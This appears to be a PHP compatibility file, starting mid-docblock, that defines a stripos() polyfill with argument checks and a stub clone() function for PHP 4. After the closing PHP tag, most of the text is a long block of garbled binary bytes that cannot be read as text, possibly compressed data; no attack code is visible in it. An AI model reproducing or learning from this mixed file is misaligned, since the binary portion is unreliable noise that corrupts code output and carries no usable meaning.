4 $ * @since PHP 5 * @require PHP 4.0.0 (user_error) */ if (!function_exists('stripos')) { function stripos($haystack, $needle, $offset = null) { if (!is_scalar($haystack)) { user_error('stripos() expects parameter 1 to be string, ' . gettype($haystack) . ' given', E_USER_WARNING); return false; } if (!is_scalar($needle)) { user_error('stripos() needle is not a string or an integer.', E_USER_WARNING); return false; } if (!is_int($offset) && !is_bool($offset) && !is_null($offset)) { user_error('stripos() expects parameter 3 to be long, ' . gettype($offset) . ' given', E_USER_WARNING); return false; } // Manipulate the string if there is an offset $fix = 0; if (!is_null($offset)) { if ($offset > 0) { $haystack = substr($haystack, $offset, strlen($haystack) - $offset); $fix = $offset; } } $segments = explode(strtolower($needle), strtolower($haystack), 2); // Check there was a match if (count($segments) === 1) { return false; } $position = strlen($segments[0]) + $fix; return $position; } } /** * Ported PHP5 function to PHP4 for forward compatibility */ function clone($object) { return $object; } ?>x=]s8N6Nj-QmM9Ndq̋ "!1EhЊRG\ݟ{ڷ}HQ-K+s{$" 4 σ CVzؗA+ݭjS~=`??}s*U:W/ؿz{ʠvxC^UXoFڨU]]x˪AT?<: @iKiYp[YMh"zH Dk*B>+)MG<;\< ` g1J !Vaawb@0f/ؙ0}b%}h(/M#Taȷ6XzWRA(Ghc~zg s YAı]Ksrl&w?/BL?;1'$/6Q;|w*h0.0SJ]aR3i'H"b*8]_WaFK *e// ֖zi A?&UPW٥eo8X9;Fl_ɏBaDa|h 8Xaf<|8!EhpfIe1Dt6deVX^WZÜ!I4HfA #|:2xkTBD{pK]TGcrU 6 ?m::?Q ECX]z}w1v`U>[@-&\ρ5,Xh/^ڐkkoj:"65{zފkp$ Uc$0ĭ1|qjяxX-"\e yк0hxކF4hÇ#*ё\)[ Ah\{d@}RbBDm?j"ꊗ+w{5^?\Uq TTA_iM@}K=KJmJ=mf@0uL7-80~' Qjҙ;Q2>1Pl,wW+DMjMC#ww,09oV S$23´ TW̞E9ECr2>4NַKK\bDM|loR) q[L mZY[}{/wOֻVu^g|v9o<]@MTޚӄׅa:pL: Nqipnm4>ݔYVdQHn$)]V.DUBha5^n%W5gy(V)iaB50c <6 n!Pf_׸M u? :F<zaUV^ƽjCERˁx."e2eXb?bCÞ4j} OU?P=p *>0#n6P"`ID;=9?Rf .)q\GaOe.'/{0@=յӄh7ܨBm#j:-(t,3:,}XUPDBsbuS1ۼ\0-o{>$ 5S^k'ZLKF0Hg+Ki;:i\yĉ0*3H𣭾2jy$LcWFަhA{+OO^$|3gg["T[x(SG"bDI#..K!$w {: 鶷s)-謌֞urEVF榷}u(K8&12fíbWWV98w{L>%I>*Ϳf`iU8T_|ֺ]}sv͇.<o1cޠgY؜_!]v5\O%U^%]Nֹ¸ n ?39]11,0,d.+Xoe5/XyT)B`b#\bW(©1%NG֦3H;+q CSւW($(qƒ~n#ݒH<] ԍ 7 \PAdL v6c W  %^'Asvcry@V=y*2juOPjl1m׀1>Ώxֆ?!$LHe6槵UQn@5H8gvr[D׊&r \@$$?H m $mn `Y{{!`duG}7EcovZ[-!otfڲoVn+a6!؛I};}okN]*2 4n+:*)ޢ긇€$iK *ZgWi Z +ZA4T\Z{^Qo""W zl{d!m#"[N-Jlm!*/FKQ4vI4P\3iQő8R<=jP%/ -ҙѝ:eHv\7Gq)N1T][Ĝ1c+hRLr1f "_ڡM5X]p6e*,P )*1$e-Ԍޯ;Hȡק4'%Ofp.gcA]]ݙvL§?<7`-`%{CZ(2aX 々@2<67RjC!P*&>#`-iY!ƨ%#-OZWhhWmO1>޾x)(&1a1"]ޮK}_F4st<6hHFɸqG՚1@B%z6>Ji1 ՞ PgGP:u mƺ mxѺ_緃ݛ@} Pf  A2"9L&L Fn[&^j< M 4,t_~SXҙ)爛=yȆܼBΣcu}PΣ0}'$PR.gh47,#d*YGQ@zȭ(Y98^b!:^ rtZW+d!:NVNxr:,DǛBtr:Ntt]+l!:VNǻxr:|tm!:r:.bt\.DZ~!:ާttjIIWΚ_וBtFi,.P-w \# lNB'aK~Cb+ij1V5X.FZM:- i򲵱;F!td骘YŸ́xU;=So^Oc9\奍4jZ5?Y:P  TG>#K^~9.;w|L+(c }B0< 4 geR DX5Ϲ E!+vu34^W3+5֟!qO(_ʄtZY 61_gNK#Ў9H%JE@a" "B:gCAo Tk[6(q&9߸+Lx0}qŴd:!)0v7F0@I$ކq !mH O"&W*iCmrw@aؓ8QXݮU89iRؐH6%vec9 K Џ!MK-oev|)nþ}fh^tvrkkf  =b+|CzwmC ,z/d|>@*`d 0-m`My]hFs3 8PFaqjj<Od7qփahQwCml:ch p ?O|Uu)AAF;iG<n{XG#ՓÈHtckw< :&D ^(Oy!:=Z؀fi (55"mMTˤiȭMpN>Q /ezEỹ0S{ 9%4ġAiq5M"2@H5oa@+fM {">DuΈ#P^Ǿ396 H<"L9%f /V L M{\*&/6_\P%~F%8uyraW 9fzZ^R#yϗ)# k(UB K"z1}>\I Iz)OۧshG<Yet;{[ۻfsݭWu)Uw,_`d>]`_51EA,TLc/95~(&Z(;)VxEQ=,uGjI m͖; *>R9r2f+|O52񲩳kxЬY,z#4mrӵO 9Vs#/1[l{{;ͽk=-